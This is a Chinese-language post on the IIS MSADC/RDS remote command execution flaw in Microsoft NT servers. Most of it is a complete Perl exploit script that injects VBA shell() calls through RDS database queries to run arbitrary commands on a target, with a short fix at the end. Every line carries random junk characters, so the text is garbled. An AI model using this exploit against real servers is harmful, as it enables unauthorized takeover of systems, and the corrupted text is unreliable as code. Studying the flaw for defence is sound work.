IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ravyiO L r!
%;R?c 涉及程序：
|nUl\WRd\ Microsoft NT server
78 f$6J q q v*7K@ 描述：
@N@F,~[RR2 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
= =N{1gO] HD>q(cK_|8 详细：
ino:N5&;; 如果你没有时间读详细内容的话，就删除:
UL$}{2N,_ c:\Program Files\Common Files\System\Msadc\msadcs.dll
C[sh, 有关的安全问题就没有了。
6gL-OJNo I\O\,yPhhP 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Z4b|| 4?\:{1X= 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
U8$4
R,+ 关于利用ODBC远程漏洞的描述，请参看:
Mkxi~p%<r p>w]rE:} http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm b97w^ah4gJ OH v! 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
< A BX0U[* http://www.microsoft.com/security/bulletins/MS99-025faq.asp Ifc]K? saf&dd 这里不再论述。
Fh$slow4! Lh.b 5Q| 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
M5357Q g4p /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
RE2&mYt 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
6w8" >~)Z e'%v1-&sP "qz3u`[o #将下面这段保存为txt文件，然后: "perl -x 文件名"
(t+;O; E
H:T #!perl
FzQTDu9 #
8.A R.o # MSADC/RDS 'usage' (aka exploit) script
9;.(u'y| #
D\dWt1n # by rain.forest.puppy
/AY4M;}p #
{^a3 6i # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
D,v U # beta test and find errors!
\JEXX4% 4`m~FNVS use Socket; use Getopt::Std;
G 2bDf-1ew getopts("e:vd:h:XR", \%args);
Mn1Pt|_@! #G" xNl print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
O/s $SX%g PXzs j. if (!defined $args{h} && !defined $args{R}) {
|1b _*G4| print qq~
%
2$/JZ Usage: msadc.pl -h <host> { -d <delay> -X -v }
P262Q&.}d -h <host> = host you want to scan (ip or domain)
}o4N<%/+ -d <seconds> = delay between calls, default 1 second
v{zMO:3 -X = dump Index Server path table, if available
}/tf>?c -v = verbose
X|f7 K -e = external dictionary file for step 5
~c^>5 4 U4f5xUY0) Or a -R will resume a command session
V&8Vw F^- g9D^) V ~; exit;}
'. Ed`?<p NX`*%K $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Un`^jw#_ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
J%09^5:-z if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
4;n6I)&.( if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
#} ~qqJ G2 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-}O1dEn. if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
L37 Y+C// 0R{dNyh{ if (!defined $args{R}){ $ret = &has_msadc;
('wY9kvL& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
3vhnwDcK {"oxJ`z4 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
"Ve.cP,7( . "cmd /c ";
eAv4FA4g $in=<STDIN>; chomp $in;
wO ?+Nh $command="cmd /c " . $in ;
U*Ge<(v$ /J f.y*; if (defined $args{R}) {&load; exit;}
L^2 FQti> B~o\+n print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
wW>z gTG &try_btcustmr;
) [0T16 5;0g!&-t# print "\nStep 2: Trying to make our own DSN...";
@KX
\Er &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
BdlVabQyKW 5`
Te \H print "\nStep 3: Trying known DSNs...";
?]D"k 4 &known_dsn;
W;bu2ym&Q rSXh;\MfB4 print "\nStep 4: Trying known .mdbs...";
m_?d=o
&known_mdb;
06$!R/K R|O 8RlH if (defined $args{e}){
HGm 3+ , print "\nStep 5: Trying dictionary of DSN names...";
6qcO?U &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
9Gv[ 8'I 'YNT8w/3 print "Sorry Charley...maybe next time?\n";
=]:> "_jN exit;
GKN%Tv:D_ !vG'J\*xc ##############################################################################
XGP6L 0j ' cY` w sub sendraw { # ripped and modded from whisker
j'9"cE5_ sleep($delay); # it's a DoS on the server! At least on mine...
:'#TCDlOb my ($pstr)=@_;
TXe$ <4" socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
me[DmiM, die("Socket problems\n");
7AYd!n&S if(connect(S,pack "SnA4x8",2,80,$target)){
0-~\
W( select(S); $|=1;
Fx-8M! print $pstr; my @in=<S>;
!9Aaj<yx m select(STDOUT); close(S);
T&Lb<'f return @in;
sB;@>NY } else { die("Can't connect...\n"); }}
`PY>Hgb [9 Ss# ~ ##############################################################################
jqPkc28 =bEd a] sub make_header { # make the HTTP request
K| dso]b/ my $msadc=<<EOT
w@ N POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^]{R.(# z User-Agent: ACTIVEDATA
ByCnD Host: $ip
XC.%za8 Content-Length: $clen
@|Rrf*J?% Connection: Keep-Alive
e{ m2l2Tx: 2WU@*%sk" ADCClientVersion:01.06
L!=QR8 ?@E Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
]T%rjsN
6Cn+e.j@ --!ADM!ROX!YOUR!WORLD!
5nsq[ Q` Content-Type: application/x-varg
DGzw8|/( Content-Length: $reqlen
m! <\WN6g In`m tn q EOT
]Kr
`9r), ; $msadc=~s/\n/\r\n/g;
*Z|y'<s return $msadc;}
Ei2'[PK Yo[;W
vu ##############################################################################
qWmQ-|Py "~D]E7Q3y sub make_req { # make the RDS request
r$2P;Cxj my ($switch, $p1, $p2)=@_;
">#wOm+ + my $req=""; my $t1, $t2, $query, $dsn;
cReB~wk E9~Ghx. if ($switch==1){ # this is the btcustmr.mdb query
33!oS&L $query="Select * from Customers where City=" . make_shell();
;3' .C~ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
o865 (<p $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
5}`_x+$%(` _-EyT elsif ($switch==2){ # this is general make table query
3Y Vi"
k?2 $query="create table AZZ (B int, C varchar(10))";
-|E!e.^7: $dsn="$p1";}
;VWAf;U; B $sEy%- elsif ($switch==3){ # this is general exploit table query
U w 47LP $query="select * from AZZ where C=" . make_shell();
St e=&^ $dsn="$p1";}
Y.*y9)#S6 /i X+ R@ elsif ($switch==4){ # attempt to hork file info from index server
tg{H9t U; $query="select path from scope()";
)oyIe) $dsn="Provider=MSIDXS;";}
*8LMn >Z1sb n elsif ($switch==5){ # bad query
xD6@Qk $query="select";
Rz.? i+ $dsn="$p1";}
L21VS ,#I 9 =UkV\m) $t1= make_unicode($query);
B>2tZZ ko $t2= make_unicode($dsn);
at)~]dG $req = "\x02\x00\x03\x00";
ayiu,DXx $req.= "\x08\x00" . pack ("S1", length($t1));
%mZ {4<7 $req.= "\x00\x00" . $t1 ;
p\<u6v ~J $req.= "\x08\x00" . pack ("S1", length($t2));
SLh (9%S; $req.= "\x00\x00" . $t2 ;
Dc_y M $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
@ ;'o2 return $req;}
C+TI ]{t qzT uxo0B ##############################################################################
)a-Du$kd "sG=wjcw^ sub make_shell { # this makes the shell() statement
}2e? ?3 return "'|shell(\"$command\")|'";}
-?0qf,W. bua+I; b ##############################################################################
gM
_hi ]w tb-PC sub make_unicode { # quick little function to convert to unicode
*NG+L)g my ($in)=@_; my $out;
<WcR ,d for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
U-|NY return $out;}
uX KERzg >k'c' 7/ ##############################################################################
jrS[f 1&-
</G# sub rdo_success { # checks for RDO return success (this is kludge)
{DR`;ea])1 my (@in) = @_; my $base=content_start(@in);
[<6S%s if($in[$base]=~/multipart\/mixed/){
$g
sxO!G return 1 if( $in[$base+10]=~/^\x09\x00/ );}
B#M5}QT|2 return 0;}
Rp5#clsy ?#45w C ##############################################################################
DK $s&zf $f zaPD4. sub make_dsn { # this makes a DSN for us
R;j!}D!4 my @drives=("c","d","e","f");
e:5bzk!~ print "\nMaking DSN: ";
<>8W Qn,K foreach $drive (@drives) {
c` o7d)_Ke print "$drive: ";
}b-g*dn]5 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
~x|F)~: 0= "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
uH(f$ A . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
/C6k+0ApMT $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
N|6M P
e return 0 if $2 eq "404"; # not found/doesn't exist
{QwHc5Bf if($2 eq "200") {
@0F3$ foreach $line (@results) {
?nmn1`UT return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
PBp^|t]E> } return 0;}
r.BIJt) 0}CGuws ##############################################################################
\Rp-;.I@6 * cgI.+ sub verify_exists {
9_
d pR. my ($page)=@_;
vMm1Z5S/ my @results=sendraw("GET $page HTTP/1.0\n\n");
lGOgN !?i return $results[0];}
V b= Mg ;NHt7p8SE ##############################################################################
R R]CW tfGHea)M sub try_btcustmr {
xj VS my @drives=("c","d","e","f");
<U Qe.K" my @dirs=("winnt","winnt35","winnt351","win","windows");
!Y[lQXv XR;eY:89 foreach $dir (@dirs) {
&MCbYph, print "$dir -> "; # fun status so you can see progress
1
=M ?GDc foreach $drive (@drives) {
7BJzM lJ1Y print "$drive: "; # ditto
BYMi6w ts $reqlen=length( make_req(1,$drive,$dir) ) - 28;
o<|P9#(U" $reqlenlen=length( "$reqlen" );
}3OK C2K~ $clen= 206 + $reqlenlen + $reqlen;
MZT23 [+ 6Q${U7%7 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
y $_eCmq if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
`nZ )> else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
egq67S E/%9jDTQ ##############################################################################
u)~C;f) zc;|fHW~O sub odbc_error {
#3+!ee27# my (@in)=@_; my $base;
3G(miP6 my $base = content_start(@in);
TZY3tUx0|G if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
[m|YWT= $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4x 8)gE $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
uLWh | $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
njWL U! return $in[$base+4].$in[$base+5].$in[$base+6];}
~,i-8jl, print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
`pGa~!vl print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
lx [oaCr $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
,"HL ~2:~ ;N 0~;I ##############################################################################
_Nqt21sL /K . !sQ$ sub verbose {
"-+\R}q$ my ($in)=@_;
6I4oi@hZz return if !$verbose;
'2[albx Sc print STDOUT "\n$in\n";}
O4og?h> y9>ZwYN ##############################################################################
Y\$ySvZ0 s=0BMPDgm sub save {
~Hr} ] my ($p1, $p2, $p3, $p4)=@_;
j'MO(ev open(OUT, ">rds.save") || print "Problem saving parameters...\n";
&3n~ %$#N print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
HBu[gh;b close OUT;}
LdL/399< Wwr;-Qa}g ##############################################################################
'*"vkgN Nn T1X;0W sub load {
*1fb}C_ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
% a@>_ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
w%JTTru @p=<IN>; close(IN);
e,Uo#T 6J $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
SAyufLEv, $target= inet_aton($ip) || die("inet_aton problems");
V0P>YQq9s print "Resuming to $ip ...";
cT!\{ ~ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
5Hw~2 ?a, if($p[1]==1) {
F*3j. lI $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
2 AO~HxF $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
JYW)uJ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
/#m=*&!CB if (rdo_success(@results)){print "Success!\n";}
&L,nqc\3D5 else { print "failed\n"; verbose(odbc_error(@results));}}
O 8j_0 elsif ($p[1]==3){
K otrX if(run_query("$p[3]")){
'lEA)&d print "Success!\n";} else { print "failed\n"; }}
3%%o?8E S elsif ($p[1]==4){
p IU&^yX> if(run_query($drvst . "$p[3]")){
".<DAs j print "Success!\n"; } else { print "failed\n"; }}
H?)w!QX exit;}
Na?!;1]_ RM!<8fXYD ##############################################################################
5a hVeY ;;:-l99 sub create_table {
l@\#Ywz my ($in)=@_;
[ Z}9>~m $reqlen=length( make_req(2,$in,"") ) - 28;
$D|e>U $reqlenlen=length( "$reqlen" );
T<55a6NoK $clen= 206 + $reqlenlen + $reqlen;
P8*=Ls+-F my @results=sendraw(make_header() . make_req(2,$in,""));
l% 1!a return 1 if rdo_success(@results);
woD>!r>) my $temp= odbc_error(@results); verbose($temp);
j ~1B|,H return 1 if $temp=~/Table 'AZZ' already exists/;
*rIk:FehLB return 0;}
!>zo _fP 4'!c*@Y
##############################################################################
?C&z]f3(: O slL~ < sub known_dsn {
JU^lyi! # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
]Z yur` my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
dAkgR~ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
R IY,K*f. "banner", "banners", "ads", "ADCDemo", "ADCTest");
enSXP~ 9w Z(ACc9k6:' foreach $dSn (@dsns) {
+gJ8{u!=k print ".";
o! {w"K next if (!is_access("DSN=$dSn"));
Ns7(j - if(create_table("DSN=$dSn")){
Q2F+?w;, print "$dSn successful\n";
o'f?YZ$. if(run_query("DSN=$dSn")){
t ]_VG print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Pyb Z)5u print "Something's borked. Use verbose next time\n";}}} print "\n";}
LRb{hUt= p%*%n3bw ##############################################################################
jN6uT &{T ~==>pj sub is_access {
@EnuJe my ($in)=@_;
n=c
2K c $reqlen=length( make_req(5,$in,"") ) - 28;
]jmL]Ny ^ $reqlenlen=length( "$reqlen" );
5`gQ~ $clen= 206 + $reqlenlen + $reqlen;
e0T34x' my @results=sendraw(make_header() . make_req(5,$in,""));
1>E<8&2[L my $temp= odbc_error(@results);
ZRg;/sX] verbose($temp); return 1 if ($temp=~/Microsoft Access/);
SVB \ return 0;}
V9d F1H j R)RG[F# ##############################################################################
}5}.lJ : 7,lq}a8z sub run_query {
.[ 3Z1v, my ($in)=@_;
zY('t!u8 $reqlen=length( make_req(3,$in,"") ) - 28;
2gq9k}38 $reqlenlen=length( "$reqlen" );
@]-jl}:] $clen= 206 + $reqlenlen + $reqlen;
Ux}(?Z my @results=sendraw(make_header() . make_req(3,$in,""));
B hp-jq'!B return 1 if rdo_success(@results);
_PlKhv} my $temp= odbc_error(@results); verbose($temp);
Ire\i7MF: return 0;}
Z3& _ ?Vf o+a, ##############################################################################
N =QfP Y! gCMLL sub known_mdb {
b7wvaRe. my @drives=("c","d","e","f","g");
8F&=a,ps[ my @dirs=("winnt","winnt35","winnt351","win","windows");
qIIv6''5@ my $dir, $drive, $mdb;
h?8] C#6^ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
}9W4"e 2)
?l^1 * Q, # this is sparse, because I don't know of many
( 8c9 /7h my @sysmdbs=( "\\catroot\\icatalog.mdb",
+L9Eqll "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
jg\Z ;_!W "\\system32\\certmdb.mdb",
'-"/ =j&d[ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
j"'(sW - m|:_]/*qE my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
T2!6(,
s9 "\\cfusion\\cfapps\\forums\\forums_.mdb",
/x[jQM\ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
7|[mz> "d "\\cfusion\\cfapps\\security\\realm_.mdb",
vDxe/x% "\\cfusion\\cfapps\\security\\data\\realm.mdb",
yX0dbW~@y "\\cfusion\\database\\cfexamples.mdb",
8W#heW\-] "\\cfusion\\database\\cfsnippets.mdb",
"t_-f7fS7 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
d
BJJZ^(
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
U2wbv Xr5- "\\cfusion\\brighttiger\\database\\cleam.mdb",
L"j
tf78 "\\cfusion\\database\\smpolicy.mdb",
< !dqTJos "\\cfusion\\database\cypress.mdb",
yRfSJbzaf\ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
%^>ju;i^O "\\website\\cgi-win\\dbsample.mdb",
!Y\D?rKZ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
<RG|Dx[:= "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
DF d%9*N ); #these are just
NF0%}II&xK foreach $drive (@drives) {
o)2W`i & foreach $dir (@dirs){
9uBM< foreach $mdb (@sysmdbs) {
fIwV\ ,s print ".";
jr!?v<NoX if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
O2BDL1o print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
LM-J !44 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
fI~Xmw+}} print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Ts ^ "xlK } else { print "Something's borked. Use verbose next time\n"; }}}}}
P}TI
q# mHBnC&-/ foreach $drive (@drives) {
T<w5vqFDu foreach $mdb (@mdbs) {
qAS qscO print ".";
uec!RKE if(create_table($drv . $drive . $dir . $mdb)){
x\s|n{ print "\n" . $drive . $dir . $mdb . " successful\n";
^,;z|f'% * if(run_query($drv . $drive . $dir . $mdb)){
Tp_L% F print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
KF vQ } else { print "Something's borked. Use verbose next time\n"; }}}}
j;fpQ_KL }
. %Ta]!0
X~<(" ##############################################################################
*EZHJt9 U 9A~9"O sub hork_idx {
ulkJR-""& print "\nAttempting to dump Index Server tables...\n";
/U"CO 8Da print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
eL\;Nf+Zp $reqlen=length( make_req(4,"","") ) - 28;
>ey\jDr#O $reqlenlen=length( "$reqlen" );
43Qtj$F $clen= 206 + $reqlenlen + $reqlen;
7qg{v9|, my @results=sendraw2(make_header() . make_req(4,"",""));
]jaQ[g$F if (rdo_success(@results)){
P3nb2. my $max=@results; my $c; my %d;
},>pDeX^P for($c=19; $c<$max; $c++){
Qkd<sxL $results[$c]=~s/\x00//g;
qLT>Mz)$ % $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
3`ELKq $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
`^FGwx@ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
bV$) !]V $d{"$1$2"}="";}
ghX|3lI\q foreach $c (keys %d){ print "$c\n"; }
0 DmMG } else {print "Index server doesn't seem to be installed.\n"; }}
(h5'9r G_k~X" ##############################################################################
W81E!RyP` OZTPOz. sub dsn_dict {
l#H#+*F open(IN, "<$args{e}") || die("Can't open external dictionary\n");
2GWMlI while(<IN>){
'iGzkf}j $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
$;/}?QY( next if (!is_access("DSN=$dSn"));
*IY*yR6 if(create_table("DSN=$dSn")){
*WIj4G.d print "$dSn successful\n";
sZL#xZ5
Df if(run_query("DSN=$dSn")){
fD07VBS yl print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
bX*Hi#J~A print "Something's borked. Use verbose next time\n";}}}
_',pr Z* print "\n"; close(IN);}
,Td!|~I|j6 V {pj~D.E ##############################################################################
lI-L`
x o_D?t-XH sub sendraw2 { # ripped and modded from whisker
-R% <.]fJ sleep($delay); # it's a DoS on the server! At least on mine...
7A\~)U @ my ($pstr)=@_;
#L{OV)a< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@1 U&UH die("Socket problems\n");
T: IW%?M if(connect(S,pack "SnA4x8",2,80,$target)){
ywb4LKD print "Connected. Getting data";
a e*M f7 open(OUT,">raw.out"); my @in;
z [cyA. select(S); $|=1; print $pstr;
f~d d3m(' while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
@Q^P{ close(OUT); select(STDOUT); close(S); return @in;
p"FW&Q=PN } else { die("Can't connect...\n"); }}
~d%Pnw| 5fm?Lxr&? ##############################################################################
kIGbG;"_ niqN{ sub content_start { # this will take in the server headers
`xyw ho%/Y my (@in)=@_; my $c;
gOr%!QaF for ($c=1;$c<500;$c++) {
`S2[5i if($in[$c] =~/^\x0d\x0a/){
8g:;)u4$P if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
BVr0Gk else { return $c+1; }}}
GW$.lo1|) return -1;} # it should never get here actually
+[ R/=$ 3$m4q`J ##############################################################################
1\g6)|R-+ <% Ostqj sub funky {
i%g#+Gw my (@in)=@_; my $error=odbc_error(@in);
L dm?JrU if($error=~/ADO could not find the specified provider/){
) :\xHR4 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Q" t<3-" exit;}
u6MzRC if($error=~/A Handler is required/){
98WZ){+,m print "\nServer has custom handler filters (they most likely are patched)\n";
@~ #Ym1{W exit;}
ooV3gj4 if($error=~/specified Handler has denied Access/){
rN%F)
q# print "\nServer has custom handler filters (they most likely are patched)\n";
Ty<L8+B| exit;}}
h-m \% |D )* Q-.Je/U ##############################################################################
Nof3F/2 N& 7\9> a sub has_msadc {
{qmdm`V[ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
s.x&LG my $base=content_start(@results);
L
W;heO" return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
{O,{ c\ return 0;}
X*,%&6O* sL @U ########################
KLL;e/Gf V
h k _ Tzn tO9P+ 解决方案：
cP}KU 5j 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
u&9 r2R959 2、移除web 目录: /msadc
